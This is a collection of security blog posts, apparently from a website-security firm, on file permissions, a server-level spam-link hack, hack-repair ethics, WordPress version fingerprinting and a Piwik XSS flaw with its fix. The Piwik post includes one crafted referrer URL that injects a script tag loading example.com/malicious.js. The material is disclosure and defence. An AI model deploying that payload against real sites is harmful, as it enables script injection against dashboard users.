Understanding the Role of File Permissions in Website Security

Often in discussions of website security or hackings the issue of file permissions comes up. Unfortunately, important information needed to understand what effect permissions have is often not explained and in many cases bad information is spread. Most of the bad information relates to limiting other’s access to the files in your account on a shared server.

First let’s explain the basics of what file permissions are made of. In Unix based operating systems, which is what most web servers are running on, file permissions are composed three type of permissions: read, write, and execute. The read permissions allow reading the file, the write permissions allows modifying the file, and the execute permissions allow a file to run (because of how PHP works .php files do not need to be executed to run).

Directories also have the same types of permissions, but they are somewhat different. The read permissions allows see a listing of the files in the directory, the write permission allows creating, deleting, or renaming files in the directory, and the execute permissions allows accessing the files in the directory.

Those types of permissions are set for three different classes: the owner, group, and others. The owner is normally the user that created the file, the group is whatever groups the owner is part of, and other involves any other users on the system.

The first important thing to understand in terms of security is how the files can be accessed in the first place, because for permissions to come into play the hacker first has to be able to access the files. This requires having login access to the server, a FTP login for example, or having found some exploit in software running on the server. Just by browsing the website they could not access the files. If the hackers gains login access to your account or exploits software on your website they will have the same access that you have, so restricting others access will have stop someone from accessing your files in those cases.

We sometimes see it suggested that to protect a website that is being repeatedly hacked in a way that modifies files, that the write permissions for the files should be removed. The idea is that because the write permissions are disabled the hacker would no longer be able to modify the files. The problem is that most instances the hacker would have the ability to change the permission so that the files are writeable again. For almost as long as we have been seeing it be advised to make the files unwriteable we have been seeing hacks in which the permissions set to be writeable during the hack, so this is not effective strategy. What needs to be done is determine how the hacker is gaining access to the files and stop that.

The most important thing to understand about file permissions is that on a shared server, no matter what the file permissions are set to other users should not have access to your files. One of the developers of WordPress put it this way:

A properly configured web server will not allow users to access the files of another user, regardless of file permissions. The web server is the responsibility of the hosting provider. The methods for doing this (suexec, et al) have been around for 5+ years.

If your hosting provider does not have proper access controls in place the need to add those or your need to find a new host.

While setting permissions as low as possible is not going to do any harm, in most cases where the file permissions are blamed it would not have mattered what the permissions were set as. This is due the fact the files were being accessed in way that file permissions would not have restricted access. For example, a recent hack involved exploiting the web server instead of individual websites. Once the hacker gained access to the server they had access to all of the files on the server.

How the basicpills.com Spam Links are Getting Into Websites

There has recently been a lot of discussion about a hack that added spam links, primarily to basicpills.com, into the databases of WordPress based websites. These spam links are then included in some of the pages generated by WordPress in the website. What we have not seen explained so far is how the hack has been occurring. Determining the source is essential to cleaning up the website, otherwise you leave the website vulnerable to being rehacked. If we had cleaned up a website with the issue we would have worked on determining that for our client and we would expect that any companies cleaning up websites would have done the same but unfortunately they often don’t.

So far we have not had any clients with the issue, but several days ago we did clean up a website that appears to have been used to place those spam links into websites at a different web host. Among the files we found a file containing a listing of the database host, database username, database login, database name, database prefix, and the addresses for quite a few WordPress based websites. We contacted the host to alert them to what we had found and to inquire into the source of the issue.

What we have been told is the web server itself had been exploited and not individual websites, they are still in the process of determining what exactly allowed this exploit. So the issue is not caused by an issue with WordPress or an individual user’s computer. Once the web server is exploited it is possible to read the wp-config.php file, which stores the database information that WordPress uses, in user’s accounts and access their databases to add the spam links. Because the web server is exploited the file permissions of wp-config.php do not have an effect on whether it can be read or not.

If have been dealing with this issue let your host know that the server has been exploited. If they refuse to acknowledge they have an issue and fix it, it is time to find a new host. If you looking for  a new host, we provide some information on what ask a hosting provider to determine if they handle security properly here and a list of providers we have found to have security issues here.

If any hosting provider would like to see about sharing information on the issue with the host we have been in contact with, please contact us and we will pass along their information.

The Danger of Unethical Website Hack Repair Services

We have long noticed companies that are offering to fix hacked website appear to lack an understanding of what that actually entails them doing for clients. What they often fail to understand or simply don’t care about is that simply removing the hack is not enough. You have to determine how the website was hacked and make sure that has been fixed or it is likely to be hacked again. We strongly believe that doing otherwise is highly unethical, as it exposes the website and it’s visitors to the potential of infection or data exposure. It also seems to us to be a rip-off as your paying someone for cleaning up an issue that could quickly return. We are often hired to clean up websites that someone attempted to clean up before but were not properly secured after they were hacked

Determining how a website was hacked and properly securing is much harder than just removing the hack. It requires a general understanding of the technology underlying websites, a knowledge of the software that is being used on a website, how hackers operate, prior experience, among other things. There are some situations where we could easily remove the hack from a website but we know that we don’t have relevant expertise to properly secure the website, in those cases we provide the potential client with the information on what needs to be done to secure the website for free.

What we haven’t dealt with before is a company that offers to clean up hacked websites contact us and admit that they were unable to determine how a website was hacked and wanted us to do it for them. Then last week we were contacted by a representative from TVCNet, which also advertises their service at hackrepair.com. They told us that they were good at removing the hack code, but a website they cleaned was being reinfected and they couldn’t determine what was allowing the website to be reinfected. The infection that they describe was one that should have been very easy to determine the source of if they had even very modest experience dealing with cleaning up after hacks. It certainly should not have been a problem for someone that is charging clients 350 dollars to clean up a hacked website (they apparently charge extra to upgrade software, even though that is often essential for securing a website).

With a company operating in what we consider an unethical manner, it is not a surprise that they are also lying about their service. They claim that “We will work direct with Google staff, and ensure your web site is unblocked by Google”. The truth is getting unblocked by Google is a completely automated process that doesn’t involve working directly with Google staff.

Unfortunately, there does not seem to be anything that we can do to stop this type of practice. If other companies contact us we can certainly highlight there unethical practices as well, but that won’t stop them or others from continuing these unethical practices. What we can do and have done for some time is to get accurate information out there on cleaning up after hacks so that those companies have a better chance of properly cleaning websites. From our analytics data it’s clear that many companies that might be dealing with those hacks have been accessing that information. Others also provide this type of information, but unfortunately we often find the information being put is inaccurate. We also have created a tool to detect popular backdoor scripts, which should help to prevent some hacked website from being reinfected as it would of in this situation. We also provide information on how to properly secure websites, which we run advertising to promote, so that websites don’t get hacked to begin with and then have to deal with these companies.

Hiding the WordPress Version Number Will Not Make Your Website More Secure

One of the most mentioned measures that is supposed to make a WordPress installation more secure is hiding the WordPress version number, but the truth is that it will not make your installation any more secure. If it has any effect, this measure is making WordPress installations less secure. The idea certainly sounds good if you don’t have an understanding of what the actual threats are and the methods someone could use to determine what version is being used. The biggest thing to understand is that hackers are not checking what version of WordPress is being run when trying to hack a website. In fact in most cases they don’t even check if WordPress is installed, they just try to exploit known vulnerabilities in older version of WordPress at locations that WordPress might be installed (they also attempt to exploit other software that might be located on a website as well). So no matter how hard you try to hide the WordPress version number, you will still get hacked if you are running an outdated version of WordPress. This is why keeping WordPress updated is the only measure you really need to do to keep WordPress secure.

If the WordPress version number is hidden someone who wants to check what WordPress version is running, as we often do with for potential clients or we are alerting websites we have found to have been hacked, will not be able easily determine what version is running and therefore not be able to give the webmaster a reminder that they need to upgrade it.

Furthermore, these attempts to hide version number would not be successful in preventing some who wants to determine the WordPress version number from actually doing it. There are multiple ways to check pages and files to determine the version is running and we have listed a number of them below. Someone who really wanted to know the version could also use the more advanced method of testing capabilities to determine the version as well. So if there was a real risk that came from the WordPress version number being known the attempts to hide the version would fail to protect the website.

Meta Generator Tag

The most well known way of checking what version of WordPress is being used is to check generator that is included in the source code of the website’s pages:

<meta name=”generator” content=”WordPress 3.1″ />

There are multiple methods of removing this from the pages.

Readme.html File

The other well known method is to check readme.html file that is placed in the root directory of the WordPress installation. From our experience this is not always reliable for determining what version is running as people don’t always copy the new readme.html when the perform an upgrade. So this could only be relied on to tell that the website is only running at least a certain version of WordPress. This can be removed by just deleting the files, but it will need to be done each time if you use the automatic update feature.

RSS/Atom Generator Element

If the website provides a RSS or Atom feed generated by WordPress it will include a generator element similar to the one placed on the website’s pages:

<generator>http://wordpress.org/?v=3.1</generator>

Like the generator tag this can removed, but we have found that this occurs much less often.

Login Page CSS File

The next two methods will only allow the major version of the WordPress to be determined. That is they could tell if you are running 3.0 or 3.1, but not it you were running 3.0.1, 3.0.2, 3.0.4, or 3.0.5. This information would be enough to narrow down the possible vulnerabilities that the hacker could use making the task of finding one they could use much simpler.

In the source code of the WordPress login page a version number is attached to the login.css style sheet:

<link rel=’stylesheet’ href=’http://localhost/wordpress/wp-admin/css/login.css?ver=20081210′ type=’text/css’ media=’all’ />

These are version numbers for the last five major releases:
2.7: 20081210
2.8: 20090514
2.9: 20091010
3.0: 20100601
3.1: 20110121

Limiting access to the wp-login.php could prevent this from being checked.

New Files

The final method involves checking for a file that has been added to a given version. These are files that were introduced in the latest version for the last five major releases:
2.7: /wp-includes/js/comment-reply.js
2.8: /wp-includes/js/autosave.dev.js
2.9: /wp-includes/js/json2.dev.js
3.0: /wp-includes/js/wp-list-revisions.dev.js
3.1: /wp-includes/js/admin-bar.dev.js

It impossible to have a file that has not yet been created already on your website and blocking access to these files is not something that you could realistically do, so this is something that could not be prevented from being able to be used to determine the version.

If you see someone promoting hiding the WordPress version number as a security measure we would appreciate if you point them to this post to help stop it from being promoted.

Piwik Releases Fix for Cross-Site Scripting (XSS) Vulnerability

On Tuesday Piwik released Piwik 1.1 which fixed the cross-site scripting (XSS) vulnerability in the Live Visitors! widget (renamed Visitors in Real Time in the new version)which we previously wrote about. The fix was released just over a month after we contacted them about the issue and two weeks after they apparently became aware of us contacting them. Based on contact with them it seems possible that could have become aware of the issue as long ago as August 28th, four months before they fixed it. A number of cross-site scripting vulnerabilities were also fixed in the release but no details have been provided on those. There was also a professional security audit done for Piwk 1.1, unfortunately that audit was only focused on the source code and not at Piwik’s security process which we believe have some serious problems. These include not having a reliable way for security issues to be reported and not promptly releasing fixes for security vulnerabilities.

Piwik’s choice to wait for the next major release to fix the vulnerability instead of promptly releasing a security release also exposed another problem with this type of approach. Users were told the release was critical and they should “update now”,  but when users did it caused some Piwik installations to stop working. Piwik then released an update the next day which solved the most serious problems, but it appears a number of serious issues still exist. If the security updates had been separately released then they could have applied promptly and users could have taken more time, possibly testing the new version on development website, before upgrading the next major release which would have likely lead to less users experiencing these bugs.

Piwik is Knowingly Leaving Users Vulnerable to Cross-Site Scripting (XSS) Issue

Two days we posted about a cross-site scripting (XSS) vulnerability in the Piwik’s Live Visitors! widget and we have now received a email response from Piwik. In their response they told us that the vulnerability had already been reported to them. Unfortunately, their response also indicated that they have been waiting to fix the vulnerability in their next major release instead of releasing a security release to fix the issue promptly after they became aware of it.

While the vulnerability would be difficult to exploit, as we discussed in our previous post, and would require a separately created malicious payload to be dangerous, it certainly seems to be something that should have been promptly fixed. Considering that there have been at least two reports to Piwik it is likely that others are aware of the issue. Piwik also seems to think it is a serious issue, as they left a comment in our previous post requesting that we make the post private (something we would have done if  a fix was going to be released in a timely manner) and they were critical of our public release of the information.

WordPress, which we consider to follow responsible security practices, appears to promptly release fixes for security vulnerabilities instead of waiting for the next major release. Last year they even back-ported security enhancements developed for their next major release to the current version to improve security.

Until they decide to release a fix to the vulnerability, you can protect yourself by removing the Live Visitors! widget from your Dashboard or apply the fix mentioned in our previous post, which appears to fix the issue.

Assuming that Piwik was not aware of the vulnerability before releasing the most recent version, Piwik 1.0, they could have possibly known about the vulnerability as far back as August 28th.

What was also troubling was that Piwik apparently did not receive the messages we sent them. Both the email we received and the comment on our previous post claimed they had not received our emails, though in our original post we only mentioned that we contacted them and not that we had emailed them. In the email we received from them they stated “If your email contained an example URL similar to the one in your blog post, then it quite likely got filtered as spam or malicious content (i.e., phishing).” This is a problem as it means that Piwik could not be receiving other reports of security vulnerabilities and they could then be left unfixed. Since our original posting they have created a new security page on their website that mentions the problem with their spam filter. Hopefully, Piwik will take the further step either fix the current reporting system or create a new one so that they can insure they receive security vulnerabilities reports in the future.

We certainly don’t want to be overly critical of Piwik, but their response to this issue is very troubling to us because we use Piwik on our website and we recommend and promote the software to others.

Cross-Site Scripting (XSS) Vulnerability in Piwik’s Live Visitors! Widget

The Live Visitors! widget for Piwik, an open source web analytics software similar to Google Analytics, contains a cross-site scripting (XSS) vulnerability which can allow malicious HTML to be added to Piwik’s Dashboard. The Dashboard is the page that users come to after logging in to Piwik and contains an overview of statistics.  The Live Visitors! widget was added to default Dashboard with Piwik 1.0.

The vulnerability exist because the Live Visitors! widget does not properly sanitize special characters from the referer_keyword field of the piwik_log_visit table in the database. The referer_keyword field stores the keyword(s) that a user had search for when they visit the website through a search engine. This vulnerability can be used to add malicious HTML code to the Dashboard while a visitor with a special crafted referer is currently being displayed in the Live Visitors! widget. For example, the following referrer would create a script tag calling the file example.com/malicious.js:

http://www.google.com/search?q=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fexample.com%2Fmalicious.js%22%3E

The example.com/malicious.js could contain code that attempts to install malware on a computer or have some other malicious purpose.

For this to be exploited the victim would have to have the dashboard open when the visitor with the malicious code was being shown. The widget displays the last 10 visitors, so for high traffic website a visitor would appear for only a short time. By default Piwik only track visitors with JavaScript enabled, so just making GET requests with a malicious referer would not allow the vulnerability to be exploited.

We twice contacted Piwik’s security team about the issue. On December 2nd we provided them with basic details of the issue and on December 14th we contacted them with additional details of the issue and a possible fix for the issue. We have not received any response from them.

To insure that you are protected from the vulnerability being exploited you can remove the Live Visitors! widget from the Dashboard. A change that appears to fix the issue is to modify the following line in the file /plugins/Live/Visitor.php from

return $this->details[‘referer_keyword’];

to

return htmlspecialchars($this->details[‘referer_keyword’]);

This change will cause special characters to be converted to HTML entities, so you would see the malicious code in text form instead of it being executed.

Google Adds “This site may be compromised.” Warnings To Search Results

In the last several weeks Google has begun to show “This site may be compromised.” warnings, for websites they “believe may have been hacked or otherwise compromised”, in their search results. According to Google’s article about of the warning they have been added “To protect the safety of our users” and they recommend users “should be careful about providing personal information to the site” being flagged.

In the past when Google has detected websites they believe to be hacked and violate their Webmaster Guidelines, they have removed the websites from their index and placed a “Notice of Suspected Hacking” message in their Webmaster Tools to let the webmaster know. It’s unclear at this point if Google has replaced doing that with the new warning or if the warning is only for websites that have been hacked in such a way that does not warrant being removed for their search index. Unlike the malware warning (“This site may harm your computer.”) Google places in their search results, which sends users to an interstitial page when they click search result for an affected website, users are still able to directly access the website.

For websites which display the warning, after the hack has been removed reconsideration needs to be requested from Google to have the warning message removed. According to a post by Google employee John Mueller “These requests are processed fairly quickly (usually within a day, though it’s not possible to give an exact timeframe). “

osCommerce 2.3 and 2.3.1 Do Not Contain Vulnerability in categories.php

It was recently reported that the /admin/categories.php file in osCommerce contained a vulnerability that would allow someone to remotely add files to an osCommerce installation without. This could be used to add backdoor script, which would allow the hacker access to all the website files and the ability to run code on server. This could be used for a number of malicious purposes including added spam or malware to website. osCommerce has been a frequent target for hackers lately, mainly being used to spread malware, due to a number of security vulnerabilities in older versions. In SecurityFocus’s advisory it was stated that version 2.3.1, which is the most recent version of osCommerce, is the vulnerable version. Using the exploit code they provided we tested the exploit and we found that version 2.3.1 is not vulnerable. Version 2.3, which included fixes for a number of security vulnerabilities and a number security enhancements, is also not vulnerable. Version 2.2rc2a and probably versions older than that are vulnerable if the workaround to secure the admin area has not been applied to them.

WordPress 3.0.2 Fixes SQL Injection Vulnerability

WordPress 3.0.2, which was released yesterday, fixes a SQL injection vulnerability that would allow Author-level and above users to view any information stored in the WordPress database. This could be used to view email address, hashed passwords, and other sensitive information stored in the database. WordPress rates this vulnerability as a moderate security issue. The vulnerability existed due to the fact that the “do_trackbacks() function in wp-includes/comment.php  does not properly escape the input that comes from the user”. According to Vladimir Kolesnikov, who discovered it, the vulnerability seems to have existed since WordPress 2.x. Further details of the vulnerability can be found in Vladimir’s blog post.

The new version also includes fixes for several minor cross-site scripting (XSS) vulnerabilities and a number of bug fixes.